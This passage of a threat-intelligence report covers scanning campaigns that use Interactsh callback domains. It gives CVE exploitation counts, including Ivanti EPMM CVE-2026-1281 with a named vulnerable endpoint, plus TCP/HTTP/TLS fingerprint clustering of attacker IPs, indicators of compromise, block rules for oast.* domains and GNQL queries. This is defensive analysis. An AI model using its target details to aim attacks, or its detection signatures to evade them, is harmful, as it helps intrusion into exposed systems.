<td>Ivanti EPMM</td>
<td>CVE-2026-1281 RCE Attempt</td>
<td style="text-align: right;">344</td>
<td style="text-align: right;">2</td>
</tr>
<tr class="even">
<td>XSS Probing</td>
<td>Generic XSS Commands in Request</td>
<td style="text-align: right;">320</td>
<td style="text-align: right;">25</td>
</tr>
<tr class="odd">
<td>Fastjson RCE</td>
<td>Fastjson RCE Attempt</td>
<td style="text-align: right;">305</td>
<td style="text-align: right;">19</td>
</tr>
<tr class="even">
<td>Path Traversal</td>
<td>Generic Path Traversal Attempt</td>
<td style="text-align: right;">178</td>
<td style="text-align: right;">18</td>
</tr>
<tr class="odd">
<td>Apache OFBiz</td>
<td>CVE-2024-32113 Path Traversal</td>
<td style="text-align: right;">135</td>
<td style="text-align: right;">7</td>
</tr>
<tr class="even">
<td>Apache OFBiz</td>
<td>Authentication Bypass Attempt</td>
<td style="text-align: right;">123</td>
<td style="text-align: right;">6</td>
</tr>
<tr class="odd">
<td>Cisco HyperFlex</td>
<td>HX RCE Vuln Check</td>
<td style="text-align: right;">114</td>
<td style="text-align: right;">30</td>
</tr>
<tr class="even">
<td>GPON Router</td>
<td>CVE-2018-10561 Router Worm</td>
<td style="text-align: right;">114</td>
<td style="text-align: right;">10</td>
</tr>
<tr class="odd">
<td>XStream RCE</td>
<td>Generic XStream RCE Attempt</td>
<td style="text-align: right;">88</td>
<td style="text-align: right;">19</td>
</tr>
<tr class="even">
<td>Atlassian Confluence</td>
<td>CVE-2022-26134 OGNL Injection</td>
<td style="text-align: right;">78</td>
<td style="text-align: right;">7</td>
</tr>
<tr class="odd">
<td>Spring Cloud</td>
<td>Gateway Code Injection</td>
<td style="text-align: right;">73</td>
<td style="text-align: right;">12</td>
</tr>
<tr class="even">
<td>XStream</td>
<td>CVE-2021-39152 Input Stream</td>
<td style="text-align: right;">66</td>
<td style="text-align: right;">10</td>
</tr>
</tbody>
</table>
<p><strong>Notable CVE targets by recency:</strong></p>
<ul>
<li><strong>CVE-2026-1281</strong> (Ivanti EPMM Code Injection): 344 occurrences, 2 IPs – active exploitation of a 2026 vulnerability</li>
<li><strong>CVE-2026-0770</strong>: Tagged on IP 147.224.178.225 (Oracle Cloud)</li>
<li><strong>CVE-2025-4123</strong> (Grafana Path Traversal XSS): 44 occurrences, 8 IPs</li>
<li><strong>CVE-2025-2777/2775/2776</strong> (SysAid On-Prem XXE): 21 occurrences each, 6 IPs</li>
<li><strong>CVE-2025-34028</strong> (Commvault Command Center RCE): 21 occurrences, 6 IPs</li>
<li><strong>CVE-2025-8943</strong> (Flowise Authentication Bypass RCE): 18 occurrences, 5 IPs</li>
<li><strong>CVE-2025-8085</strong> (Ditty WordPress Plugin): 15 occurrences, 3 IPs</li>
</ul>
<p>The payload arsenal spans enterprise software (Oracle WebLogic, SAP, Atlassian, Adobe ColdFusion), network appliances (Cisco, Sophos, Palo Alto, Draytek), IoT/consumer devices (GPON, WAVLINK, D-Link, LG), and emerging AI/ML infrastructure (Ollama, Flowise, Anyscale Ray).</p>
</section>
<section id="infrastructure-analysis" class="level3">
<h3 class="anchored" data-anchor-id="infrastructure-analysis">Infrastructure Analysis</h3>
<section id="ja4t-tcp-fingerprint-clustering" class="level4">
<h4 class="anchored" data-anchor-id="ja4t-tcp-fingerprint-clustering">JA4T TCP Fingerprint Clustering</h4>
<p>JA4T fingerprints extracted from raw session data reveal three distinct TCP stack clusters accounting for 98.6% of OAST sessions:</p>
<table class="caption-top table">
<colgroup>
<col style="width: 23%">
<col style="width: 11%">
<col style="width: 7%">
<col style="width: 7%">
<col style="width: 14%">
<col style="width: 7%">
<col style="width: 8%">
<col style="width: 21%">
</colgroup>
<thead>
<tr class="header">
<th>JA4T Fingerprint</th>
<th>Window</th>
<th>MSS</th>
<th style="text-align: right;">TTL</th>
<th style="text-align: right;">Sessions</th>
<th style="text-align: right;">IPs</th>
<th style="text-align: right;">ASNs</th>
<th>Interpretation</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td><code>65535_2-4-8-1-3_1380_13</code></td>
<td>65535</td>
<td>1380</td>
<td style="text-align: right;">13</td>
<td style="text-align: right;">2,973</td>
<td style="text-align: right;">9</td>
<td style="text-align: right;">1</td>
<td>Cloudflare proxy/tunnel</td>
</tr>
<tr class="even">
<td><code>64240_2-4-8-1-3_1460_7</code></td>
<td>64240</td>
<td>1460</td>
<td style="text-align: right;">7</td>
<td style="text-align: right;">1,124</td>
<td style="text-align: right;">18</td>
<td style="text-align: right;">10</td>
<td>Standard Linux (cloud VPS)</td>
</tr>
<tr class="odd">
<td><code>65495_2-4-8-1-3_65495_7</code></td>
<td>65495</td>
<td>65495</td>
<td style="text-align: right;">7</td>
<td style="text-align: right;">1,082</td>
<td style="text-align: right;">26</td>
<td style="text-align: right;">22</td>
<td>Nuclei/loopback scanning</td>
</tr>
<tr class="even">
<td><code>32120_2-4-8-1-3_1460_7</code></td>
<td>32120</td>
<td>1460</td>
<td style="text-align: right;">7</td>
<td style="text-align: right;">350</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">1</td>
<td>Private Layer (custom stack)</td>
</tr>
<tr class="odd">
<td><code>33280_2-4-8-1-3_65495_7</code></td>
<td>33280</td>
<td>65495</td>
<td style="text-align: right;">7</td>
<td style="text-align: right;">194</td>
<td style="text-align: right;">8</td>
<td style="text-align: right;">8</td>
<td>Nuclei variant (alt window)</td>
</tr>
<tr class="even">
<td><code>64240_2-1-3-1-1-4_1400_8</code></td>
<td>64240</td>
<td>1400</td>
<td style="text-align: right;">8</td>
<td style="text-align: right;">193</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">1</td>
<td>AS215540 primary tool</td>
</tr>
<tr class="odd">
<td><code>64860_2-4-8-1-3_1380_7</code></td>
<td>64860</td>
<td>1380</td>
<td style="text-align: right;">7</td>
<td style="text-align: right;">130</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">1</td>
<td>Estonian scanner (tunnel)</td>
</tr>
</tbody>
</table>
<p><strong>Cluster 1 – Cloudflare Proxy (MSS 1380, 2,973 sessions):</strong> The fingerprint <code>65535_2-4-8-1-3_1380_13</code> is exclusive to AS13335 (Cloudflare). The MSS 1380 value (20 bytes below the standard 1400 for tunneled traffic) confirms these sessions traverse a Cloudflare tunnel or Workers proxy. The maximum window size (65535) and TTL of 13 (initial TTL 64 minus ~51 hops through proxy infrastructure) are consistent with Cloudflare’s edge network. All 9 IPs in the <code>104.28.193.x</code> and <code>104.28.225.x</code> ranges share this identical fingerprint.</p>
<p><strong>Cluster 2 – Standard Linux VPS (MSS 1460, 1,124 sessions):</strong> The fingerprint <code>64240_2-4-8-1-3_1460_7</code> represents a default Linux TCP stack (window 64240, standard Ethernet MSS 1460, TTL 7 = initial 64 minus ~57 hops). This cluster spans 18 IPs across 10 ASNs including Oracle (AS31898), Contabo (AS51167), and DigitalOcean (AS14061). Key IPs: 204.216.147.144 (Oracle, 591 sessions), 168.107.59.85 (Oracle, 198 sessions), 144.24.88.37 (Oracle, 89 sessions), 37.60.230.90 (Contabo, 87 sessions). The Oracle Cloud IPs all share this fingerprint, supporting their grouping as a single operational cluster.</p>
<p><strong>Cluster 3 – Nuclei/Loopback Scanner (MSS 65495, 1,276 sessions):</strong> Two fingerprint variants share the anomalous MSS value of 65495: <code>65495_2-4-8-1-3_65495_7</code> (1,082 sessions, 26 IPs) and <code>33280_2-4-8-1-3_65495_7</code> (194 sessions, 8 IPs). MSS 65495 is the Linux loopback interface MSS (65535 minus 40 bytes TCP/IP overhead), indicating the scanning tool binds to a loopback address or uses a local proxy before egressing. This is a known signature of Nuclei and Interactsh-integrated scanning frameworks. The cluster spans 22 ASNs across 14 countries – the widest geographic distribution of any fingerprint – consistent with a widely deployed open-source tool.</p>
<p>Notable MSS 65495 users:</p>
<ul>
<li>147.224.178.225 (Oracle, US): 233 sessions – uses <em>both</em> standard Linux and Nuclei fingerprints across different campaigns</li>
<li>193.24.123.42 (PROSPERO, Russia): 166 sessions – Ivanti EPMM exploitation</li>
<li>103.144.87.192 (Viet Storage): 135 sessions with MSS 65495, plus 129 sessions with window 33280 variant</li>
<li>179.43.146.42 (Private Layer): 106 sessions (secondary fingerprint alongside its primary <code>32120</code> stack)</li>
<li>Tor exit nodes (Emerald Onion, Stiftung Erneuerbare Freiheit): tau2 campaigns</li>
</ul>
<p><strong>Multi-Fingerprint IPs:</strong> Twelve IPs exhibited multiple JA4T fingerprints, indicating either multiple scanning tools or configuration changes during operation. The most notable is 46.29.235.157 (AS215540) with three distinct fingerprints: <code>64240_2-1-3-1-1-4_1400_8</code> (165 sessions, primary tool), <code>65495_2-4-8-1-3_65495_7</code> (69 sessions, Nuclei), and <code>33280_2-4-8-1-3_65495_7</code> (25 sessions, Nuclei variant). The primary fingerprint uses non-standard TCP options (<code>2-1-3-1-1-4</code> vs the typical <code>2-4-8-1-3</code>) and MSS 1400, suggesting a VPN or tunnel endpoint.</p>
</section>
<section id="ja4t-ja4h-combined-clustering" class="level4">
<h4 class="anchored" data-anchor-id="ja4t-ja4h-combined-clustering">JA4T + JA4H Combined Clustering</h4>
<p>Cross-referencing TCP and HTTP fingerprints identifies the tightest infrastructure groupings:</p>
<table class="caption-top table">
<colgroup>
<col style="width: 13%">
<col style="width: 13%">
<col style="width: 22%">
<col style="width: 11%">
<col style="width: 13%">
<col style="width: 25%">
</colgroup>
<thead>
<tr class="header">
<th>JA4T</th>
<th>JA4H</th>
<th style="text-align: right;">Sessions</th>
<th style="text-align: right;">IPs</th>
<th style="text-align: right;">ASNs</th>
<th>Assessment</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td><code>65535..1380_13</code></td>
<td><code>po11nn06..4ea4093e6290</code></td>
<td style="text-align: right;">997</td>
<td style="text-align: right;">9</td>
<td style="text-align: right;">1</td>
<td>Cloudflare cluster, POST w/ 6 headers</td>
</tr>
<tr class="even">
<td><code>64240..1460_7</code></td>
<td><code>po11nn06..4ea4093e6290</code></td>
<td style="text-align: right;">330</td>
<td style="text-align: right;">5</td>
<td style="text-align: right;">2</td>
<td>Linux VPS, same HTTP toolkit</td>
</tr>
<tr class="odd">
<td><code>65535..1380_13</code></td>
<td><code>ge11nn04..532a1ee47909</code></td>
<td style="text-align: right;">310</td>
<td style="text-align: right;">9</td>
<td style="text-align: right;">1</td>
<td>Cloudflare cluster, GET w/ 4 headers</td>
</tr>
<tr class="even">
<td><code>65495..65495_7</code></td>
<td><code>ge11nn04..532a1ee47909</code></td>
<td style="text-align: right;">282</td>
<td style="text-align: right;">14</td>
<td style="text-align: right;">12</td>
<td>Nuclei, GET variant</td>
</tr>
<tr class="odd">
<td><code>65495..65495_7</code></td>
<td><code>po11nn06..4ea4093e6290</code></td>
<td style="text-align: right;">279</td>
<td style="text-align: right;">11</td>
<td style="text-align: right;">11</td>
<td>Nuclei, POST variant</td>
</tr>
</tbody>
</table>
<p>The Cloudflare proxy cluster uses both POST-heavy (<code>po11nn06</code>) and GET-heavy (<code>ge11nn04</code>) HTTP patterns but shares a single JA4T fingerprint, confirming a unified origin behind the proxy. The Nuclei cluster uses the same HTTP fingerprint variants but from 22+ different ASNs – the HTTP toolkit is shared but the TCP signature betrays the loopback scanning architecture.</p>
</section>
<section id="tor-exit-node-cluster-tau2-campaigns" class="level4">
<h4 class="anchored" data-anchor-id="tor-exit-node-cluster-tau2-campaigns">Tor Exit Node Cluster (tau2 campaigns)</h4>
<p>The <code>tau2</code> campaign family (<code>atau2</code>, <code>itau2</code>, <code>2tau2</code>, <code>qtau2</code>) operated across 23 sessions from privacy-focused infrastructure:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>ASN</th>
<th>Organization</th>
<th>IPs</th>
<th>Sessions</th>
<th>JA4T Fingerprints</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>AS60729</td>
<td>Stiftung Erneuerbare Freiheit</td>
<td>3</td>
<td>4</td>
<td>3 distinct</td>
</tr>
<tr class="even">
<td>AS396507</td>
<td>Emerald Onion</td>
<td>3</td>
<td>4</td>
<td>3 distinct</td>
</tr>
<tr class="odd">
<td>AS214503</td>
<td>QuxLabs AB</td>
<td>2</td>
<td>2</td>
<td>2 distinct</td>
</tr>
<tr class="even">
<td>AS210558</td>
<td>1337 Services GmbH</td>
<td>2</td>
<td>2</td>
<td>2 distinct</td>
</tr>
<tr class="odd">
<td>AS208323</td>
<td>Foundation for Applied Privacy</td>
<td>2</td>
<td>2</td>
<td>1 distinct</td>
</tr>
<tr class="even">
<td>AS215125</td>
<td>Church of Cyberology</td>
<td>2</td>
<td>2</td>
<td>2 distinct</td>
</tr>
<tr class="odd">
<td>AS399629</td>
<td>BL Networks</td>
<td>1</td>
<td>3</td>
<td>2 distinct</td>
</tr>
<tr class="even">
<td>AS214209</td>
<td>Internet Magnate (Pty) Ltd</td>
<td>2</td>
<td>3</td>
<td>2 distinct</td>
</tr>
</tbody>
</table>
<p>All are known Tor exit node operators or privacy-focused hosting providers. The multiple JA4T fingerprints per ASN reflect the heterogeneous nature of Tor exit infrastructure (each exit node has its own TCP stack). Low session counts per IP (1-2) are consistent with Tor circuit rotation. The tau2 campaigns use MSS 65495 (Nuclei), standard 1460 (Linux), and 1436/1452 (VPN tunnels), indicating the scanning tool runs behind Tor with varying exit paths.</p>
</section>
<section id="ja4h-http-fingerprint-clustering" class="level4">
<h4 class="anchored" data-anchor-id="ja4h-http-fingerprint-clustering">JA4H HTTP Fingerprint Clustering</h4>
<p>The top JA4H fingerprints span multiple JA4T clusters, confirming shared HTTP-layer tooling across distinct network-layer infrastructure:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>JA4H Fingerprint</th>
<th style="text-align: right;">Unique IPs</th>
<th style="text-align: right;">ASNs</th>
<th style="text-align: right;">Occurrences</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td><code>po11nn060000_4ea4093e6290</code></td>
<td style="text-align: right;">28</td>
<td style="text-align: right;">16</td>
<td style="text-align: right;">1,933</td>
</tr>
<tr class="even">
<td><code>ge11nn040000_532a1ee47909</code></td>
<td style="text-align: right;">36</td>
<td style="text-align: right;">18</td>
<td style="text-align: right;">828</td>
</tr>
<tr class="odd">
<td><code>po11nn08en00_9cf61e78b7a7</code></td>
<td style="text-align: right;">22</td>
<td style="text-align: right;">11</td>
<td style="text-align: right;">449</td>
</tr>
<tr class="even">
<td><code>po11nn060000_da66f5d9ff4c</code></td>
<td style="text-align: right;">16</td>
<td style="text-align: right;">10</td>
<td style="text-align: right;">243</td>
</tr>
<tr class="odd">
<td><code>po11nr070000_6b557635aee2</code></td>
<td style="text-align: right;">18</td>
<td style="text-align: right;">7</td>
<td style="text-align: right;">223</td>
</tr>
</tbody>
</table>
<p>The dominant fingerprint <code>po11nn060000_4ea4093e6290</code> appeared across 28 IPs in 16 ASNs spanning 12 countries. The <code>po11</code> prefix indicates HTTP/1.1 POST requests with no cookies or referer. This distribution is consistent with widely deployed scanning tooling (Nuclei or similar frameworks).</p>
<p>One JA4H fingerprint, <code>ge11nr17${jn_8062e975b6e7</code>, contains a JNDI injection fragment in the hash – the <code>${jn</code> prefix indicates Log4j payloads embedded in HTTP headers that propagated into the fingerprint computation. This appeared across 13 IPs in 8 ASNs.</p>
</section>
<section id="shared-ja3-fingerprint-cluster" class="level4">
<h4 class="anchored" data-anchor-id="shared-ja3-fingerprint-cluster">Shared JA3 Fingerprint Cluster</h4>
<p>Three IPs share JA3 fingerprint <code>11a384388ad36777e1a2e121495037fe</code>:</p>
<table class="caption-top table">
<colgroup>
<col style="width: 8%">
<col style="width: 10%">
<col style="width: 19%">
<col style="width: 26%">
<col style="width: 21%">
<col style="width: 13%">
</colgroup>
<thead>
<tr class="header">
<th>IP</th>
<th>ASN</th>
<th>Country</th>
<th>First Seen</th>
<th>Sessions</th>
<th>JA4T</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>46.29.235.157</td>
<td>AS215540 (GCS LLP)</td>
<td>Netherlands</td>
<td>2026-02-08</td>
<td>287</td>
<td>3 distinct</td>
</tr>
<tr class="even">
<td>45.138.101.232</td>
<td>AS41745 (Baykov)</td>
<td>Estonia</td>
<td>2026-02-11</td>
<td>132</td>
<td><code>64860..1380_7</code></td>
</tr>
<tr class="odd">
<td>37.60.230.90</td>
<td>AS51167 (Contabo)</td>
<td>France</td>
<td>2026-01-12</td>
<td>87</td>
<td><code>64240..1460_7</code></td>
</tr>
</tbody>
</table>
<p>All three IPs appeared in GreyNoise records within the past 5 weeks. The shared JA3 fingerprint across three distinct ASNs suggests a common TLS library and configuration. Despite sharing JA3, their JA4T fingerprints differ: AS215540 uses three TCP stacks (including the unusual <code>2-1-3-1-1-4</code> option ordering), Estonia uses MSS 1380 (tunnel), and Contabo uses standard Linux. This indicates the same application-layer tool deployed across different network configurations.</p>
</section>
<section id="asn-distribution" class="level4">
<h4 class="anchored" data-anchor-id="asn-distribution">ASN Distribution</h4>
<table class="caption-top table">
<thead>
<tr class="header">
<th>ASN</th>
<th>Organization</th>
<th style="text-align: right;">Sessions</th>
<th style="text-align: right;">IPs</th>
<th style="text-align: right;">Campaigns</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>AS13335</td>
<td>Cloudflare, Inc.</td>
<td style="text-align: right;">2,987</td>
<td style="text-align: right;">20</td>
<td style="text-align: right;">5</td>
</tr>
<tr class="even">
<td>AS31898</td>
<td>Oracle Corporation</td>
<td style="text-align: right;">1,243</td>
<td style="text-align: right;">4</td>
<td style="text-align: right;">13</td>
</tr>
<tr class="odd">
<td>AS51852</td>
<td>Private Layer INC</td>
<td style="text-align: right;">456</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">1</td>
</tr>
<tr class="even">
<td>AS215540</td>
<td>Global Connectivity Solutions LLP</td>
<td style="text-align: right;">287</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">2</td>
</tr>
<tr class="odd">
<td>AS135932</td>
<td>Viet Storage</td>
<td style="text-align: right;">264</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">2</td>
</tr>
<tr class="even">
<td>AS200593</td>
<td>PROSPERO OOO</td>
<td style="text-align: right;">169</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">4</td>
</tr>
<tr class="odd">
<td>AS41745</td>
<td>Baykov Ilya Sergeevich</td>
<td style="text-align: right;">132</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">1</td>
</tr>
<tr class="even">
<td>AS135918</td>
<td>Viet Digital Technology</td>
<td style="text-align: right;">111</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">1</td>
</tr>
<tr class="odd">
<td>AS14061</td>
<td>DigitalOcean, LLC</td>
<td style="text-align: right;">91</td>
<td style="text-align: right;">9</td>
<td style="text-align: right;">11</td>
</tr>
<tr class="even">
<td>AS51167</td>
<td>Contabo GmbH</td>
<td style="text-align: right;">87</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">5</td>
</tr>
</tbody>
</table>
<p>PROSPERO OOO (AS200593) is a hosting provider with a documented history of enabling malicious activity. The combination of PROSPERO hosting and exclusive CVE-2026-1281 exploitation represents the most operationally distinct cluster in this dataset.</p>
</section>
</section>
<section id="attribution-assessment" class="level3">
<h3 class="anchored" data-anchor-id="attribution-assessment">Attribution Assessment</h3>
<p><strong>Confidence: Low-Medium</strong></p>
<p>The data supports identification of distinct operational clusters but not definitive attribution to specific threat actors.</p>
<p><strong>What the data shows:</strong></p>
<ul>
<li>At least 5-7 operationally distinct groups based on infrastructure, campaign patterns, and payload focus</li>
<li>JA4T fingerprinting strengthens cluster boundaries: three TCP stack families (Cloudflare MSS 1380, standard Linux MSS 1460, Nuclei MSS 65495) cleanly partition the dataset</li>
<li>The PROSPERO/Ivanti EPMM cluster is the most clearly differentiated, with exclusive focus on CVE-2026-1281 and a specific <code>dig</code>-based command injection payload, running Nuclei (MSS 65495)</li>
<li>Oracle Cloud IPs operate the broadest vulnerability scanning toolkit across the most campaigns (13), with a consistent standard Linux TCP stack (<code>64240_2-4-8-1-3_1460_7</code>), suggesting a scanning-as-a-service or bug bounty automation platform</li>
<li>The shared JA3 fingerprint across AS215540/AS41745/Contabo points to common TLS tooling, but divergent JA4T fingerprints reveal different network-layer configurations (VPN tunnel, tunnel MSS 1380, standard Linux)</li>
<li>Private Layer IP 179.43.146.42 has a unique JA4T window size (32120) that serves as a high-confidence single-actor tracking identifier</li>
<li>12 IPs exhibited multiple JA4T fingerprints, indicating dual-tool deployment (typically a primary scanner + Nuclei)</li>
<li>Cloudflare-proxied infrastructure has a uniform JA4T (<code>65535_2-4-8-1-3_1380_13</code> across all 9 IPs), consistent with a single origin behind the proxy</li>
</ul>
<p><strong>What remains unknown:</strong></p>
<ul>
<li>Whether the Cloudflare-proxied traffic represents one actor or multiple actors behind a shared proxy (the uniform JA4T suggests a single origin, but Cloudflare normalizes TCP characteristics)</li>
<li>The relationship, if any, between Oracle Cloud campaigns (campaign IDs share partial suffixes like <code>7d6c</code> and <code>fk04</code>, suggesting sequential tool runs from the same operator; uniform JA4T supports single-operator hypothesis)</li>
<li>Whether Vietnamese infrastructure represents independent operators or a shared hosting platform (both IPs use MSS 65495 Nuclei fingerprints but with different window sizes, suggesting different host configurations)</li>
</ul>
</section>
<section id="network-iocs" class="level3">
<h3 class="anchored" data-anchor-id="network-iocs">Network IOCs</h3>
<p><strong>Primary IPs (by session volume):</strong></p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>IP</th>
<th>ASN</th>
<th>Country</th>
<th style="text-align: right;">Sessions</th>
<th style="text-align: right;">Campaigns</th>
<th>GreyNoise Classification</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>104.28.193.87</td>
<td>AS13335</td>
<td>Brazil</td>
<td style="text-align: right;">1,158</td>
<td style="text-align: right;">3</td>
<td>Malicious</td>
</tr>
<tr class="even">
<td>204.216.147.144</td>
<td>AS31898</td>
<td>Brazil</td>
<td style="text-align: right;">591</td>
<td style="text-align: right;">5</td>
<td>Malicious</td>
</tr>
<tr class="odd">
<td>179.43.146.42</td>
<td>AS51852</td>
<td>Switzerland</td>
<td style="text-align: right;">456</td>
<td style="text-align: right;">1</td>
<td>Malicious</td>
</tr>
<tr class="even">
<td>104.28.193.83</td>
<td>AS13335</td>
<td>Brazil</td>
<td style="text-align: right;">418</td>
<td style="text-align: right;">2</td>
<td>Malicious</td>
</tr>
<tr class="odd">
<td>104.28.193.82</td>
<td>AS13335</td>
<td>Brazil</td>
<td style="text-align: right;">379</td>
<td style="text-align: right;">2</td>
<td>Malicious</td>
</tr>
<tr class="even">
<td>147.224.178.225</td>
<td>AS31898</td>
<td>United States</td>
<td style="text-align: right;">365</td>
<td style="text-align: right;">4</td>
<td>Malicious</td>
</tr>
<tr class="odd">
<td>46.29.235.157</td>
<td>AS215540</td>
<td>Netherlands</td>
<td style="text-align: right;">287</td>
<td style="text-align: right;">2</td>
<td>Malicious</td>
</tr>
<tr class="even">
<td>103.144.87.192</td>
<td>AS135932</td>
<td>Vietnam</td>
<td style="text-align: right;">264</td>
<td style="text-align: right;">2</td>
<td>Malicious</td>
</tr>
<tr class="odd">
<td>193.24.123.42</td>
<td>AS200593</td>
<td>Russia</td>
<td style="text-align: right;">169</td>
<td style="text-align: right;">4</td>
<td>Malicious</td>
</tr>
<tr class="even">
<td>45.138.101.232</td>
<td>AS41745</td>
<td>Estonia</td>
<td style="text-align: right;">132</td>
<td style="text-align: right;">1</td>
<td>Malicious</td>
</tr>
<tr class="odd">
<td>103.252.93.81</td>
<td>AS135918</td>
<td>Vietnam</td>
<td style="text-align: right;">111</td>
<td style="text-align: right;">1</td>
<td>Malicious</td>
</tr>
<tr class="even">
<td>168.107.59.85</td>
<td>AS31898</td>
<td>South Korea</td>
<td style="text-align: right;">198</td>
<td style="text-align: right;">1</td>
<td>Malicious</td>
</tr>
<tr class="odd">
<td>37.60.230.90</td>
<td>AS51167</td>
<td>France</td>
<td style="text-align: right;">87</td>
<td style="text-align: right;">5</td>
<td>Malicious</td>
</tr>
</tbody>
</table>
<p><strong>OAST Domains/Providers:</strong></p>
<p>All domains use the Interactsh OAST platform across five TLDs:</p>
<ul>
<li><code>*.oast.pro</code> (4,182 occurrences, 22 campaigns)</li>
<li><code>*.oast.live</code> (1,970, 21 campaigns)</li>
<li><code>*.oast.fun</code> (857, 16 campaigns)</li>
<li><code>*.oast.me</code> (767, 11 campaigns)</li>
<li><code>*.oast.site</code> (433, 13 campaigns)</li>
</ul>
<p><strong>JA4T TCP Fingerprints (for detection):</strong></p>
<ul>
<li><code>65535_2-4-8-1-3_1380_13</code> – Cloudflare proxy cluster (2,973 sessions, 9 IPs)</li>
<li><code>65495_2-4-8-1-3_65495_7</code> – Nuclei/loopback scanner (1,082 sessions, 26 IPs, 22 ASNs)</li>
<li><code>33280_2-4-8-1-3_65495_7</code> – Nuclei variant (194 sessions, 8 IPs)</li>
<li><code>32120_2-4-8-1-3_1460_7</code> – Private Layer custom stack (350 sessions, 1 IP)</li>
<li><code>64240_2-1-3-1-1-4_1400_8</code> – AS215540 VPN/tunnel tool (193 sessions, 1 IP)</li>
<li><code>64860_2-4-8-1-3_1380_7</code> – Estonian tunnel scanner (130 sessions, 1 IP)</li>
</ul>
<p><strong>JA4H HTTP Fingerprints (for detection):</strong></p>
<ul>
<li><code>po11nn060000_4ea4093e6290_000000000000_000000000000</code> (1,933 occurrences)</li>
<li><code>ge11nn040000_532a1ee47909_000000000000_000000000000</code> (828 occurrences)</li>
<li><code>po11nn08en00_9cf61e78b7a7_000000000000_000000000000</code> (449 occurrences)</li>
</ul>
<p><strong>Shared JA3 Fingerprint:</strong></p>
<ul>
<li><code>11a384388ad36777e1a2e121495037fe</code> (used by 46.29.235.157, 45.138.101.232, 37.60.230.90)</li>
</ul>
</section>
<section id="detection-recommendations" class="level3">
<h3 class="anchored" data-anchor-id="detection-recommendations">Detection Recommendations</h3>
<ol type="1">
<li><strong>Block or alert on PROSPERO OOO infrastructure</strong> (AS200593, specifically 193.24.123.42) – this ASN has a documented history of hosting malicious operations and was observed exclusively targeting CVE-2026-1281.</li>
<li><strong>Prioritize patching for CVE-2026-1281</strong> (Ivanti Endpoint Manager Mobile Code Injection) – active exploitation observed with functional <code>dig</code>-based command injection payloads targeting the <code>/mifs/c/appstore/fob/</code> endpoint.</li>
<li><strong>Monitor for Interactsh callback domains</strong> (<code>*.oast.pro</code>, <code>*.oast.live</code>, <code>*.oast.fun</code>, <code>*.oast.me</code>, <code>*.oast.site</code>) in DNS logs, HTTP request bodies, URI paths, cookies, headers, and user-agent strings.</li>
<li><strong>Alert on the shared JA3 fingerprint</strong> <code>11a384388ad36777e1a2e121495037fe</code> associated with the coordinated scanning cluster across AS215540, AS41745, and Contabo.</li>
<li><strong>Detect Nuclei-based scanning via JA4T</strong> – MSS 65495 (fingerprints <code>65495_2-4-8-1-3_65495_7</code> and <code>33280_2-4-8-1-3_65495_7</code>) is a high-fidelity indicator of loopback-proxied scanning tools. This signature accounted for 1,276 sessions (20.6%) across 26 IPs and 22 ASNs.</li>
<li><strong>Track the Private Layer custom TCP stack</strong> – JA4T <code>32120_2-4-8-1-3_1460_7</code> (window 32120) is unique to IP 179.43.146.42 and provides a single-actor tracking fingerprint for this sustained 7-day scanner.</li>
<li><strong>Review exposure to 2025-2026 CVEs</strong> actively targeted: CVE-2025-4123 (Grafana), CVE-2025-2775/2776/2777 (SysAid), CVE-2025-34028 (Commvault), CVE-2025-8943 (Flowise), CVE-2025-61882 (Oracle E-Business Suite).</li>
<li><strong>WAF rules</strong>: Block requests containing <code>oast.pro</code>, <code>oast.live</code>, <code>oast.fun</code>, <code>oast.me</code>, <code>oast.site</code> in any HTTP field. These domains have no legitimate use in production traffic.</li>
<li><strong>Monitor Oracle Cloud ranges</strong> (AS31898) for broad vulnerability scanning – 4 IPs operated 13 campaigns across 3 countries, using standard Linux TCP stacks (<code>64240_2-4-8-1-3_1460_7</code>).</li>
</ol>
</section>
<section id="gnql-queries" class="level3">
<h3 class="anchored" data-anchor-id="gnql-queries">GNQL Queries</h3>
<p>Sessions containing OAST callback domains in the past 7 days:</p>
<pre><code>tags:"Contains Well-known Out-of-band Interaction Domain" last_seen:7d</code></pre>
<p>PROSPERO OOO infrastructure (Ivanti EPMM exploitation):</p>
<pre><code>metadata.asn:AS200593 last_seen:7d</code></pre>
<p>Oracle Cloud scanning infrastructure:</p>
<pre><code>metadata.asn:AS31898 last_seen:7d tags:"Contains Well-known Out-of-band Interaction Domain"</code></pre>
<p>Shared JA3 cluster:</p>
<pre><code>raw_data.ja3.fingerprint:11a384388ad36777e1a2e121495037fe last_seen:7d</code></pre>
<p>CVE-2026-1281 exploitation:</p>
<pre><code>tags:"Ivanti Endpoint Manager Mobile Code Injection CVE-2026-1281 RCE Attempt" last_seen:7d</code></pre>
<p>AS215540 (new scanning infrastructure):</p>
<pre><code>metadata.asn:AS215540 last_seen:7d</code></pre>
</section>
</section>
<section id="supplemental-threat-intelligence-enrichment-for-selected-oast-infrastructure" class="level2">
<h2 class="anchored" data-anchor-id="supplemental-threat-intelligence-enrichment-for-selected-oast-infrastructure">Supplemental Threat Intelligence Enrichment For Selected OAST Infrastructure</h2>
<section id="virustotal-censys" class="level3">
<h3 class="anchored" data-anchor-id="virustotal-censys">VirusTotal + Censys</h3>
<p>This section layers external threat intelligence from Censys &amp; VirusTotal onto key IPs from the OAST report.</p>
<hr>
</section>
<section id="prospero-ooo-russia---ivanti-epmm-attacker" class="level3">
<h3 class="anchored" data-anchor-id="prospero-ooo-russia---ivanti-epmm-attacker">193.24.123.42 (PROSPERO OOO, Russia) - Ivanti EPMM Attacker</h3>
<p><strong>VirusTotal Classification:</strong></p>
<ul>
